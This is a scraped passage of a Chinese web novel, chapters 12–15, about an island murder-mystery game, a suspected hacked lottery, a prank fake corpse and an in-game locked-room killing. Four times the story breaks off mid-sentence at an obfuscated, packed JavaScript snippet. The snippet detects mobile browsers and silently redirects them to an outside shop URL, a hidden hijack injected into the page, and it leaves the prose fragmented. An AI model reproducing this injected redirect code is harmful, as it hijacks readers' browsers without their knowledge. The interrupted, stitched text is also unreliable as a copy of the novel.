;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924481|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛躁动起来,傅悠悠的话被淹没在人声里。 天边出现了一个亮红的点,新鲜的阳光一落到海面上便打碎成无数鎏光。 大自然的造物总是质朴却又宏大,很难想象如此震撼的画面,每天都会在这里重演。 傅悠悠突然有点理解为什么有钱人会费这么大事跑来这孤岛度假了。 很快,点变成半圆,最后是一整个圆圆的红日,像一颗璀璨宝石,挂在海面上。 “傅助理,能麻烦你帮我拍张照片吗?”蓝少杰问。 “没问题。”她从他手里拿过手机。 蓝少杰走到观景台边上,对着镜头比了个“耶”,朝阳把他半张脸映得发红。 “日出日落”这样的词汇已经很久没有在顾汲问生活里出现过了。 少年时,他看过不少次日出。 每个压抑、不安、彷徨的失眠夜,他都会在老宅落地窗前枯坐到天亮。 可惜,孤独的少年不懂得欣赏,他沉浸在自己的世界,每次回过神天已经大亮了。 再后来,蒋饶姐出现在他的生活里。她像极了他早夭的姐姐,温暖坚定,像一束朝霞。 他循着那束光重拾勇气彻底从顾家独立,老宅的阴霾渐渐被抛到脑后,像太阳抛下地平线那样决绝…… 那时的他误以为自己的人生也终于迎来了一场盛大日出。 直到三年前那件事重新把他拉回无尽的黑暗…… 他眺着天边,想起三年前那个黎明。 他倚在病床上,带着沉睡几十天后重新苏醒的昏沉,几个小时一动不动盯着窗外。太阳一点一点从地平线爬出来,像一个无声的金色幽灵。 那天的阳光也像现在这样暖吗? 他说不上来。 Vip病房内中央空调一直维持着最适宜的温度,他却像坠入了无光的冰窟,全身都是冷的,从身体到灵魂。 从那天起,他的人生完全切换了轨道:接受祖父安排进入公司,背上降落伞的名头,剔除异己,亲自审查公司财务流水,挖出足以送那两人进监狱的证据…… 他沉在愤怒里,再无心顾及其他。 曾经的梦与愿、挣扎与彷徨,统统被他放进日出里烧成了灰,封存进永远不会结束的黎明。 就快要结束了,他闭了眼,平息着如海潮般翻涌的情绪。 再睁眼时,他看到护栏前的傅悠悠。 她刚帮蓝少杰拍完照,正笑着递还手机。 她笑起来眉眼与蒋饶姐很像,每次看到她笑都会让他幻视故人,甚至昨天在汗蒸间还将她认错。 她侧面对着他,整个人都浸在微红的光线中,饱满的额头,小巧的鼻尖,还有……柔软的指尖。将手机放在蓝少杰手里,她被阳光染得微红的指尖从他手心略过。 微凉、柔软。 昨晚手心里难消的痒再次出现。 沉默几秒,他起身向她走过去。 12. 第 12 章 蓝少杰看过傅悠悠帮他拍的照片,连连道谢。 “拍的太好了,回头发到账号上。多谢傅助。” 看来各行都有自己的“职业病”。 自媒体人遇到什么有流量的事情,头一个念头都是发到账号上。 “杰哥太客气了,咱们也算熟人了,喊我悠悠就好。”傅悠悠笑,“来参加这次活动,应该能涨不少粉吧。” 蓝少杰点头:“希望能。收到顾总发来的中奖通知的时候,我还以为是骗子。” “顾总发的?中奖通知不应该是抽奖平台发吗?” “对,平台也发了一份。但是在我看到平台的通知前,先接到了顾总的电话通知。” 抽奖是古月集团发起的,为什么最后却由顾汲问电话通知? 他为什么要参与这个环节?又是如何快速得知抽奖结果? 傅悠悠的“职业病”就是能敏锐察觉各种细节错位,而这种熟悉的错位感在顾汲问去医院探望她的时候也曾有过…… 正想着,突然感觉脸上暖乎乎的朝阳被一个高大阴影挡住。 抬头,正是顾汲问。 他在她和蓝少杰之间停住,脸上表情冷冰冰黑沉沉的,傅悠悠突然感觉到一丝冷意。 他垂了眸子,视线从她手上扫过,一脸不满,像是个来找茬的监工。 傅悠悠:……顾总你起床气有潜伏期吗? “我要去海边走走。傅助也一起。” 顾汲问说着转身走下观景台石阶。 观景台在沙滩最东头,根据地图,沙滩另一个尽头是岛东南角的一处悬崖。 下了观景台,傅悠悠留意扫视着周围的沙滩,没有鬼影,也没有可疑船只的痕迹。 不远处一只海鸥落在海边,慢慢接近一颗探出头晒太阳的寄居蟹,在沙滩上无声留下一串竹叶状的脚印。下嘴的那一刻,它红色的喙微妙地转了一个角度,从沙低衔了颗肥美的蛏子飞走了。 下一秒海浪冲上沙滩,那串爪印被瞬间抚平,寄居蟹退回壳里,像是什么都没有发生…… 这里沙质细软,海浪拂过就会带走所有痕迹,不可能还保存着昨夜那个“鬼影”的足迹,更不会有几天前船只上岛的证据。 海面也格外干净,完全看不到海草。 傅悠悠预感到自己的目的可能要落空。 果然一直走到最东南角的悬崖石滩处,也没有发现有用的线索。 石滩处确实有一些海生植物,但形态都与傅悠悠在北院别墅发现的那个不同。 顾汲问对她的失望毫无觉察,转身折返。 他不知道自己为什么突然要来散步,但踩在沙滩上的时候,心却意外安静下来。 晨雾散尽,白沙在脚下细腻铺展,触感细腻柔软。 海风吹过,像浸了淡盐水的纱,蒙在头上,有微妙的窒息感。 顾汲问仰头深深吸一口气,海边湿润的空气浸润肺腔,蒙在心头那一层阴郁的浓雾好像短暂地撕开了一个口,他少有地感到一阵放松。 恰在这时,耳边传来傅悠悠深呼吸的声音。 他脚步一顿,看向傅悠悠,阿沥附体似的,脑海中蓦然闪现出一行字:柳氏四招,第二招仿其言行…… 顾汲问:“……”这个剧本杀,是不是有毒…… 正恍惚,傅悠悠突然看向他:“顾总,你还记不记得我昨天说过,这次活动的参与人员都与三年前那件悬案有关,巧合到好像有‘鬼魂’暗中攒局。” 顾汲问神色淡淡迈步前行:“哪有什么鬼魂,这次活动胡翊云邀请了几个交好的商业伙伴,另外还通过网络平台抽选出的一名幸运网友。” 傅悠悠却站在原地没有挪步。 “那是官方宣传话术,实际上这次活动参与人员是你暗中安排的对不对。” 顾汲问脚步骤停,转身去看时,傅悠悠正目光灼灼地看着他,嘴角带着一丝笃定的笑。 “如果我想安排,可以光明正大的安排,不需要‘暗中’。” 傅悠悠点头:“没错。以顾总和胡总的交情,完全可以光明正大地决定谁参与活动,为什么要选择网络抽奖的形式,再背地黑进网站操纵抽奖结果呢?” 顾汲问脸色冷下来,迈步走回她跟前,俯身向她靠近,眸子罩在眉骨阴影里,笼了一层危险的暗色:“你很有想象力。” “我从不靠想象力做判断。” 傅悠悠晃了晃手机,屏幕上是一份黑客ip追踪报告。 这份追踪报告是她几分钟前刚从郝乖那里收到的。 实际上昨天与郝乖学姐通电话时,她提到的需要她帮忙的那件事就是调查这次平台抽奖活动具体是怎么进行的,能否有背后操作的可能性。 郝乖是警局信息科的警员,这件事对她来说正好对口,当晚就联系了抽奖平台的工作人员对抽奖程序代码进行了检查。 果然在运行代码中发现了结果被篡改过的痕迹。 可是在平台工作人员里排查一遍,并没有发现可疑人员。 大家正没有头绪的时候,一位工作人员记起,在抽奖结果公布那天,网站曾经遭到过黑客攻击。 攻击来得快去得快,又没有造成什么影响,大家只当是恶作剧,没有追查。 于是郝乖顺着这条线索,详细调查了那天攻击网站后台的黑客ip。 当傅悠悠看到这个ip定位的瞬间,脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924482|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的线索串联成一线,那种隐隐的错位感也随之消失。 她也终于明白顾汲问在这次活动里扮演的角色。 “当年那起案子发生时人在游轮却没有不在场证明的人,除了蓝少杰,恰好都是胡翊云的圈中好友,所以在你的建议之下,胡翊云邀请了他们,但他与胡翊风关系不好,所以胡翊风的邀请是你发出的,你们本就是好友,这不足为奇。 “问题在蓝少杰,如果你直接邀请这个与你素不相识的人,很容易会引起真凶的注意,进而看透你的目的,所以你才要绕这么一大圈,先以增加热度为由,建议胡翊云使用官方平台抽取幸运网友,然后再黑进后台操纵抽选结果。” 顾汲问冷笑道:“我为什么要这样大费周章?” 傅悠悠直直看进他眼里:“因为你想借这次活动找出三年前那起游轮案的真凶。” 顾汲问眸子里终于闪现一丝慌乱,“这件事,我已经与警方达成了合作,如果你想把你的发现告诉岛上其他人,趁早打消这个念头。” 傅悠悠勾唇:“我可以不把这件事告诉其他人。但作为交换,我需要你要把你所知道的一切都共享给我。” 顾汲问眼底浮现一丝警惕:“你到底是谁?为什么要追查背后攒局的人,又为什么对那起案子感兴趣?” 傅悠悠莞尔:“顾总可以把我当做一个推理爱好者。” …… 两人返回观景台时,其他人已经在电瓶车旁边等着了。 “咱们先开蜗牛车去北别墅,何美一直不接电话,她一个人留在那,我有点担心。”胡翊风看起来有些着急。 摆渡车开到北别墅的时候,傅悠悠一眼就发现不对劲。 别墅大门虚虚掩着,像大前天她追踪私闯者来到这里的时候一样。 蝉鸣也像那天一样聒噪,让人不由心头焦躁。 在后排闭目养神的顾汲问也发现了这一点,直起身子沉声问:“你们走的时候没锁门?” “锁了门的。”方晚栀没明白他的用意,一边停车,一边条件反射地回答。 傅悠悠没等车停稳,直接跳下了车,快步走向虚掩的大门。 离屋门还有几步远,傅悠悠就看到了门后一片鲜艳的红。 她心脏猛烈跳动起来,回忆里某些片段不断在脑海闪过,她竭力压抑着乱序的呼吸,隔着外衣紧抓着胸前的挂坠,似乎这样能使她镇定一点。 屋门被随后赶来的顾汲问推开,她看到何美倒在地上。 她穿着剧本杀里西域舞女的衣服,头发凌乱地散成一团,纤细脖颈弯曲成诡异的角度,苍白的脸上一道血痕从嘴角一直延伸到脸颊,一双眼睛空洞地瞪着,正直直对着他们。 13. 第 13 章 门外声音嘈杂。 身后纷乱的脚步声,棕榈树硕大的叶子被风推动摩擦出沙沙声,还有蝉鸣,这种昆虫生命尽头的鸣叫热情又偏执,似乎能把世界溶解掉。 而门内,是绝对的安静。 这种安静,让她恍惚间好像回到了三天前。 停在二楼的电梯、厚实的地毯、无风自动的天堂鸟叶子…… 傅悠悠下意识向前跨出一步,伸了手臂将顾汲问挡在身后:“别进来,凶手可能还在。” 她视线扫过地上成片的血迹与何美圆睁的眼睛。 这样大量的失血,这种状态,人已经不可能还活着了…… 现在要做的就是报警并保护现场。 但是这个现场……总觉得少了些什么。 她环顾四周,极简的风格与色彩,零星放置的几件莫兰迪色家具,别墅大厅与三天前相比没有变化,也没有缺失的物件。 少了什么呢? 很快,她的思绪被胡翊风的惊呼打断。 他冲过来推开她挡在门口的手臂,冲进大厅,跪在何美旁边哀嚎起来。 方晚栀和池易也跟在他后面,一进门就愣住了,石化了一样看着眼前的场景,不敢再向前迈步。 傅悠悠没动,也没上前阻止。 从胡翊风冲进去的那一刻,她就感觉到一丝诡异的不自然。 胡翊风的动作太连贯了。 他从离着门还有几米就开始尖叫,并直接冲了进去,傅悠悠甚至怀疑他当时的角度能不能看清屋里的场景。 这太奇怪了。 一般人遇到凶案,都会像方晚栀和池易那样,需要一个反应的时间。 就算应变能力强的,也会对血腥场景有些心理障碍,不敢靠近。 或者像傅悠悠这样,出于本能担心凶手仍旧潜伏在周围。 总之很少有人会毫无顾忌冲上前去。 除非躺在血泊里的是他的至亲,他一心救人来不及顾虑;又或者他提前知道屋里会是什么景象,而且十分确定周围已经没有危险…… 然而,他将何美抱在怀里,只是哀嚎恸哭,完全没有施救或者报警的举动,很明显不是前一种情况…… 傅悠悠站在身后狐疑地看着胡翊风,突然意识到这场景里缺少的到底是什么。 呆立在胡翊风身后的两个人缓过神来。 池易双腿发软连连后退,扶了墙边的立柜才勉强站稳。 相比之下,方晚栀要镇定得多,她很快拿出手机准备报警。 这时候,有人在身侧拍了拍她的肩膀,将她拿着手机的手按了下去。 回头看,是顾汲问,他看着她摇摇头。 “……不报警吗?”虽然看起来冷静,她声音里还是带了些颤抖,拳头紧紧攥起来,拇指指甲深深陷进食指指侧。 话语间,胡翊风的哀嚎声渐渐变调,扭曲成低低的笑声,显得诡异又疯癫。 “不用报警,晚栀姐,这案发现场少了一样东西。”傅悠悠也走到她身侧说道。 “什么东西?” “血腥味。” 方晚栀闻言这才注意到,这屋里空气中气味很复杂,有海岛特有的淡淡咸味,有类似墨水的涩味,唯独没有血味。 女性天然对血腥味更加熟悉,如果有她从刚才就会识别到。 这究竟是怎么回事? “姐,昨天何美剧本杀角色的衣服包里,是不是有假血包。” 傅悠悠在旁问。 “好像确实有。”方晚栀说到一半猛然反应过来,“难道说地上的是假血。所以这是他们俩的——” 傅悠悠点点头:“嗯,没错,是她和胡翊风搞的恶作剧。” 方晚栀看看傅悠悠,又看看顾汲问,他俩脸上的镇定与和冷静如出一辙,似乎有着莫名的默契。 “你们俩早看出来了?” 顾汲问道:“嗯,一开门就觉得不对劲了。你看何美周围地面上虽然有大片血迹,但是她身上却干干净净的,估计是怕弄脏了衣服不好处理,所以只将假血洒在地上。” 方晚栀听到这,想起昨晚看过的剧本杀剧情概括,又看看何美身上穿的剧本杀服装,脑子里闪过一个即离谱又合理的猜测,“你们这该不会是在演剧本杀里的情节吧。” 她话音刚落,胡翊风怀里传来一声嗤笑:“我就说骗不过大家吧。” ——是何美的声音。 只见她坐起来理了理头发,咯咯笑道:“不过还是有吓到你们吧?” 她的笑跟往常一样甜,但是搭配上涂了满脸的超白色号粉底和干涸在唇角的“血痕”,显得阴森可怖。 已经退到门口的池易听不清这边的对话,此刻看到何美突然从胡翊风怀里“诈尸”,还对他祭出一记“恶鬼微笑”,吓得一声惨叫,立柜都扶不住,直接跌坐在地上。 何美赶紧起身凑上前去:“哎呀对不起啊,没想到会把你吓成这样。” 她说着呸了一声,抹了一把嘴角,拧着眉头回头对胡翊风抱怨:“你确定这个人造血真的可食用吗?怎么有点苦。” 池易已经被吓得想翻白眼了…… 被这出闹剧一搅合,大家一时都有点吃不下饭,商量了一下,决定干脆就在这儿把第二幕剧情过掉,一会儿吃着早饭复盘,还能省出时间给大家补觉。 住在东别墅的三个人没带服装,干脆常服出演。 胡翊风和池易的衣服都堆在一楼沙发上,连上楼都省了,三两下套上就成。 最后池易带上僧帽,何美帮胡翊风把剑客发髻带上,簪子一插,造型完成,第二幕开演。 ********** 次日凌晨,柳依依与阿沥相约来到云绮屋外。 柳依依习惯在丑时末寅时初行动,此时天光将明未明,天地混沌迷蒙,人睡眠正酣,虫鸟却已经逐渐苏醒。 昏沉的天光能模糊掉人的踪影,虫鸣鸟啼又能遮盖住细微声响,正是行动最佳时机。 暴雨已于昨夜停了,空气里有雨后泥土的味道。 她留了阿沥守在身后望风,自己则绕着云绮留宿的屋子查看一圈。 盛夏时节,哪怕是大雨过后的夜里,暑气也有些难耐。如果云绮为了疏散暑气开了门窗,她就可以直接潜入房中,省去不少力气。 然而让柳依依失望的是,这房间门窗紧闭,没给她留一丝缝隙。 都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924483|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说西域气候炎热,看来此言不虚,不然这云绮怎么如此耐得住炎热! 她一边想着一边行至窗外侧耳静听,屋内毫无动静,她推测云绮已经睡熟,便从袖袋中掏出一根弯弯曲曲的银丝。 柳依依为盗数年,对各式窗门结构了如指掌。像寺庙中的门窗,结构都是最简单的,只要她在窗户纸上戳个小孔,银丝伸进去挑了窗栓,就能从外面将窗户轻易打开。 只是这招只能她用,阿沥这几年身材愈发高大,钻窗户越来越困难。为了让徒弟自立门户之后还能继续干这一行,她最近一直在研究银丝撬门的良方。 她贴着窗棂细细端详,只见这窗户纸上没有一处破损,其上还落了薄薄一层灰,唯独中间位置有一处小指甲盖大小的地方没有灰尘,纸面还微微褶皱起毛,似是有些润湿的痕迹。 柳依依想起昨夜的大雨,有些纳闷怎么这屋檐伸出这么多还是没能挡住这一滴雨落到窗户上。 对于贼盗来说,不留痕迹是要义之一。若是窗户纸上原本就有空洞缺口,她便可借原本的缺口将银丝伸进屋里。 可惜并没有。 既然如此,就只得全然靠自己了,她轻叹口气,小心地将银丝伸到窗户前。 银丝尖端正要钻破窗户纸的时候,她听到阿沥的声音,“有人出来。” 此时院中几个屋子都还是黑着灯,根本没有人醒过来的迹象,但阿沥的听觉一向敏锐,从没出过错。 柳依依心下啧了一声,迅速将银丝敛在袖中,向他挥了挥手,两人一齐躲进了墙边的阴影里。 果然,刚躲好,就听到院中一间屋子房门吱呀一声,一个人影从里面走了出来。 柳依依对这院子不熟,一时辨不清那是谁的房间,只借着晦暗的天光,隐约看到那黑影在院中转了一圈,往佛堂方向去了。 “很是蹊跷。”待那人影走出视线,柳依依婆娑着下巴自语道。 “蹊跷?”阿沥有些不解,“阿沥什么都没看出来。” “你没看出来就对了。因为他没有掌灯!”柳依依道,“我问你,咱们为什么不掌灯?” “因为师父眼力超群,能暗中识物。”阿沥看着她笑。 柳依依一巴掌拍在他后脑勺上,“别拍马屁!我确实擅长暗中窥物,但也只是比常人视力好出一点,太远的东西就看不清楚了。” “我尚且如此,那人不掌灯肯定是连路都有些看不清的,你看他刚才走路的步态,都是拿脚先探探虚实再踩下去。”她回忆着刚才看到的身影,“既看不清路,又不肯掌灯,那肯定是跟我们一样,有特殊的目的,不想让人发现啊!” 阿沥有点明白了:“师父是说,他也跟我们一样,是出来偷东西的?” “没错!看来这院子里,盯上那佛珠的不止咱们两人啊。走,跟上去看看!” 说着,柳依依牵了阿沥向佛堂方向无声而去。 凌晨的佛堂格外幽静。 柳依依在周围转了一圈,没见到什么人,她一时拿不准是先进堂内看看,还是先回去将云绮的首饰盗到手。 正犹豫呢,阿沥突然开口:“佛堂里有人!” 话音刚落,佛堂门便吱呀一声开了。 14. 第 14 章 这佛堂里一直没有点灯,柳依依只依稀看到有个人从门后探出头来,一时辨不出是谁。 月落时分,光线正是晦暗,佛堂内的人也没认出柳依依师徒,冲着他们喊了一句:“谁在外面?” 柳依依认出这正是住持的声音。 眼看来不及躲闪,她干脆大大方方行了个礼:“住持大师,是我。想着逃婚一事夜里难以入睡,便想来佛堂静静心。这佛堂从外面看一点亮光都没有,没想到大师在里面。” “哦,原来如此。我每日都是这个时辰来礼佛,方才刚到,还未来得及燃灯。既然你们有心前来,就进来吧。”住持说着,又往他们身后看了一眼道,“还有你,静思。” 柳依依向身后看去,只见小僧静思慢悠悠从旁边树丛里钻出来,拍了拍褂上的草叶。 柳依依脑中一时闪过诸多疑问。 他是什么时候躲在那里的? 若是他刚才跟在他俩身后,那阿沥应该可以听到一点动静。阿沥什么都没听到,说明他比他们先到院中,且一直躲在草丛里。 方才院中黑影难道就是他? 那他们师徒二人鬼鬼祟祟绕着佛堂打转的样子,是不是都让他看到了…… 她借着月光仔细瞧了瞧静思的表情,看不出什么端倪,干脆凑到静思身侧,笑着试探道:“原来静思哥哥也在,你什么时候来的?躲在草丛里干什么呢?” “咳,我也是来礼佛,方才来早了,见住持还没到,就随意找了一处歇脚……” 静思话没说完,就被住持喊了法号叫进了佛堂。 既说了要来佛堂静心,柳依依也带着阿沥跟了进去。 她原想着待上一时半刻就起身回院,至少云绮那处能够得手,谁知这和尚念经如此催眠,她跪坐在蒲团上听了一会儿便昏昏欲睡,最后竟斜斜靠在阿沥肩头睡了过去。 她自幼漂泊不定,晚上睡觉习惯浅眠,不知为何,这一觉却睡得极沉。 待醒来时,早已天光大亮。 她揉着睡眼,坐直了身子。 佛堂里早已没了念经的声音,坐在他们面前的住持和静思不知去向。只有身边的阿沥直挺挺坐在蒲团上,眼睛垂着盯在地面上不知道在想什么。 她一着急抬手就拍上他的后脑勺,“笨蛋阿沥,和尚都走了,怎么不知道喊我!现在天都亮了,还怎么去——” “小姐,他们去备斋饭了,马上就回。”阿沥打断她的话,往身后看了一眼,“剑客大人也跟咱们一起等吃食呢。” 柳依依这才意识到,这佛堂除了他俩还有其他人,立刻收了刚才的泼辣,端庄转过身向白袍剑客行了个礼。 白袍剑客还跟昨晚一样,抱着剑坐在蒲团上,面色冷冷地点头回礼。 他袍袖边缘沾着些红棕色和原木色的碎屑,隔着一段距离,柳依依辨不清那是什么碎屑,反正跟珠宝首饰书画银钱无关的东西,她也不在意。 天既已大亮,就错失了行盗的最佳时辰,柳依依只得继续在佛堂等着了。 不多时,静思端了盆斋饭和一摞碗进来,给大家盛饭。 他木勺用得不算利落,来回挖了好几次,才给第一碗装满了,又用勺背压了压。 “我来吧。”柳依依上前要帮忙。 “不必了,柳姑娘。”静思摆摆手,只将盛好的饭递给她。 柳依依接了饭碗,递给跟在身后的阿沥,示意他先端给剑客,之后也不多说,只劈手将静思手里木勺拿了过来。 她笑盈盈两三下盛满了第二碗,又学着静思的习惯,用勺背压实了斋饭,递给静思。 此乃柳式四招第二招:仿其言行。 如此配合着盛好了余下的饭,静思的神色放松了些,不似之前那般戒备。 柳依依便凑到他身边耳语道:“静思哥哥,听说这寺庙里有颗名贵佛珠,不知依依能否有缘看上一眼。” 静思闻言怔了片刻才道:“柳姑娘,那佛珠是不祥之物,恐其引发灾祸,早已经被藏了起来,现在它在何处无人知晓。姑娘吃完这一顿还是尽早赶路吧。” 他言语恳切,不似有所隐瞒,柳依依也便不再追问,只端了饭坐回蒲团上。 此时,住持推门走了进来,嘴里念叨着:“奇怪,云绮姑娘竟睡得这样沉,敲门也没人应。几位先吃吧,暴雨已停了多时,吃完这顿饭就可以继续赶路了。” 这俩和尚跟商量好了似的,齐齐发出逐客令。 这让柳依依十分不爽,她一边吃着斋饭,一边在脑子里琢磨怎么能尽快地找到佛珠。 一碗饭将近,住持站起来对静思道:“时辰不早了,云绮姑娘怎么还没起?你同我一起去看看。” 这时,一直没吭气的白袍剑客撂下碗,抱着剑站了起来:“确实有些奇怪,我随你们一起。” 柳依依也察觉到一点不对劲,同样起身相随,阿沥自然也跟了上去。 一行人来到后院,在云绮门口驻足。 住持抬手敲门,门内仍旧是没有一点动静。 “云绮妹妹?”柳依依贴在窗口喊了几声,仍旧无人应答。 众人渐渐感觉事情似乎不太妙。 “退后。”白袍剑客喝了一声,随后便抬脚向门踢去。 本就不太结实的木门应声从门框上掉了下来,裂成两块,上半块掉到地上,溅起些许扬尘,下半块斜斜撞到门后的椅子上,撞得椅子向后移了半米。 看来云绮睡前,不仅反锁了房门,还用椅子将房门堵严实了。 未待扬尘完全散去,白袍剑客便道了声“不好!”冲进房内。 众人紧跟着进到屋里,只见云绮直直倒在墙角床上,而床上的土布床单早已被血染成了红的。 剑客是第一个冲进屋里的,他试了试她的鼻息,又将手搭在她脖颈处探了探脉搏,转身向身后几人摇了摇头:“已经没有脉搏了。” 柳依依和阿沥一听,都不敢往前了。他们虽然行盗,却没杀过人,看见这么血腥的场面,还是有些发憷。 住持也吓了一跳,哆哆嗦嗦问:“你说人死了?怎么死的?” 剑客见惯了这样的场面,倒是十分镇定。他拿袖子擦着沾到手上的血道:“脖子上有刀口,是被刀剑捅死的。” 刚才他的白袍挡在床前,柳依依看不清尸体全貌。这会儿他走远了一点,她便壮着胆子往云绮尸体上看去。 云绮本就生得白皙,此时脸色更是白得石灰一样,脖子上的刀口像一张怪物的嘴,竟好似还有鲜血汨汨流出。 “我跑得快,我去报官。”阿沥说着就要夺门而出。 “不不,先不要报官,这姑娘死在我寺,万一官府抓不到凶手,恐怕要捉了我去顶罪……” 这住持挡了阿沥去路。 一直没说话的静思突然开了口:“我略懂些仵作常识,不如让我验一下尸,看看能不能找到一些线索,如果能够锁定凶手,就不怕衙门捉错人了。” “那我们怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924484|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你不是凶手呢?”阿沥道。 静思低头思索了一会,这才抬起头道:“我从昨晚与各位分开就一直跟住持待在一起。后来住持寅时初刻去佛堂,我见黑夜里有两个人影相随,便跟了上去,后来发现那两个人影就是二位。” 他视线扫过柳依依师徒二人,顿了顿,又接着道:“在那之后,我就一直在佛堂。后来我与住持一同准备斋饭,再之后,又先于住持离开后院回到此处,然后就一直跟大家待在一起直到现在。所以我是完全没有机会单独接近这所房子的。” 他说完,住持连连称是,同意让静思先验尸。 白袍剑客抱着剑站在一旁不置可否。 静思视线落在柳依依身上。 柳依依哪敢反驳呢。听完静思的话,她便明白过来,之前他从藏身的草丛出来,说自己“随处找了个地方歇脚”,纯属胡扯。 他其实目睹了柳依依和阿沥从云绮房后阴影里走出来跟踪住持的全过程。一旦将这一段细细讲出来,他们师徒两人立刻就会成为头号嫌疑人。 反正这人不是她杀的,验尸于她又没什么损失,没必要跟他过不去。 “那便辛苦静思哥哥验尸吧。”她一边应着一边乖乖拉着阿沥退后。 静思于是跪坐到床边,开始细细查验伤口。 他看得很仔细,从头一直看到脚。 在这期间柳依依也逐渐恢复了冷静。 她视线在屋内扫了一圈,最后停留在矮柜上。矮柜一角露出一点暗红色布边,正是云绮昨晚背的包袱的布料。 原来那装满了贵重首饰的包袱被藏进矮柜里了。 好机会!兴许在衙门的人来之前,可以趁乱得手! 柳依依想着,开始观察房间内的布置。 这房间跟柳依依昨晚住的那间几乎一样十分简陋,墙角一处小床,床边一处矮柜还有一把椅子,再没有其他家什。 椅子被云绮抵在门后,在剑客踢门的力道冲击下,已经有些歪歪斜斜。 窗户还是完好的,跟柳依依寅初时看过的一样。 她突然意识到,这是一间完全封闭的房间。 而她在这屋内,没有发现一样足以切出云绮脖颈上伤口的利刃。 这说明,她不是自戕,而是他杀! 在这样一间密室里,凶手是怎样杀死云绮,又带着凶器离开的呢? 静思足足对着云绮的尸体勘验了半个时辰,这才起身,对着尸身行了个礼,回过身来。 “云绮姑娘是脖颈血脉被割断失血过多而亡。尸体上除脖颈处一处刀伤外,无其他外伤。此伤口咱们刚进来的时候,仍在大量渗血,因此可以推断,咱们进来的时候,距凶手切开云绮姑娘血脉最多不过一盏茶的时间。” “……那时候,咱们几个人都在佛堂吃饭啊。”阿沥说。 “没错,凶手应该不是我们中的人。另外我在云绮姑娘口中闻到一股草药味,我以前应该闻到过,只是一时记不起来了……”静思皱着眉头道。 “可这房间咱们进来之前门窗都是从里面被锁死的啊。”柳依依道。 “啊——”听了柳依依的话,住持突然惊叫起来,“一定是那佛珠!” 说完竟晕厥过去。 众人手忙脚乱去扶,慌乱间,住持的僧帽被蹭到了地上。 他光溜溜的头顶上,竟没有戒印,反而有一道伤疤,斜斜地从头顶延伸到脑后,像一条大蜈蚣似的,看着甚是骇人…… 15. 第 15 章 “OK,第二幕结束。”方晚栀道,“我刚才联系了小李,拜托她帮咱们把早饭送到北院去了。咱们去那儿边吃边复盘吧。” “好耶,我早饿了。话说这假发不好打理,又缠在一起了,复盘我就不戴假发了哈。”何美面露嫌弃地摘掉假发。 “我记得你昨晚上楼前,还特意拿梳子给它梳理开了来着。”胡翊风道。 “对呀,我是仔仔细细梳理好了,又工工整整放到桌子上,然后才上楼休息的,结果今天早上一看又打结了,你说气不气人!”何美抱怨道。 “哎,说不定是岛上的女鬼溜进来给你弄乱的呢!”胡翊风一脸坏笑。 “啊?你别吓我!!!”何美追着他跑出门。 听到两人对话,傅悠悠和顾汲问对视一眼。 这假发说不定还真是“鬼”给弄乱的。 一行人步行到北别墅的时候,正看到小李推了车子从院门出来。 她脸上还是带着大大的口罩,眼神有些怯怯,见有人过来赶紧拉了车子让到一边,头压得低低的,等人过去。 “辛苦你了,小李。”方晚栀上前打招呼。 “应该的。饭菜已经放在二楼了,各位老板慢用。”小李似乎比前一天状态更加不好,声音都跟之前不太一样了。 傅悠悠有些担心地上前询问:“你身体没事吧?” 顾汲问也走过来道:“我带了一些常备药。” 蓝少杰也凑过来:“需要我帮你把车子推回去吗?” 小李摇头,后退几步,头还是压得很低:“不用,我有药的。各位老板好好玩,先不打扰了。” 说完,她一手扶着把手,一手推动车子侧壁,迈步快速离开。 傅悠悠注意到,她惯用这种姿势推车子,看起来不如两手都放在车把上显得轻松,再加上她身材瘦小,给人一种她正吃力跟车子抗衡的感觉。 不过这可能是一种错觉,实际上她步伐很快,不一会儿身影就消失在路的尽头。 看起来她病得并像人们想的那样严重,也许她只有些社恐,不想露脸吧。傅悠悠想。 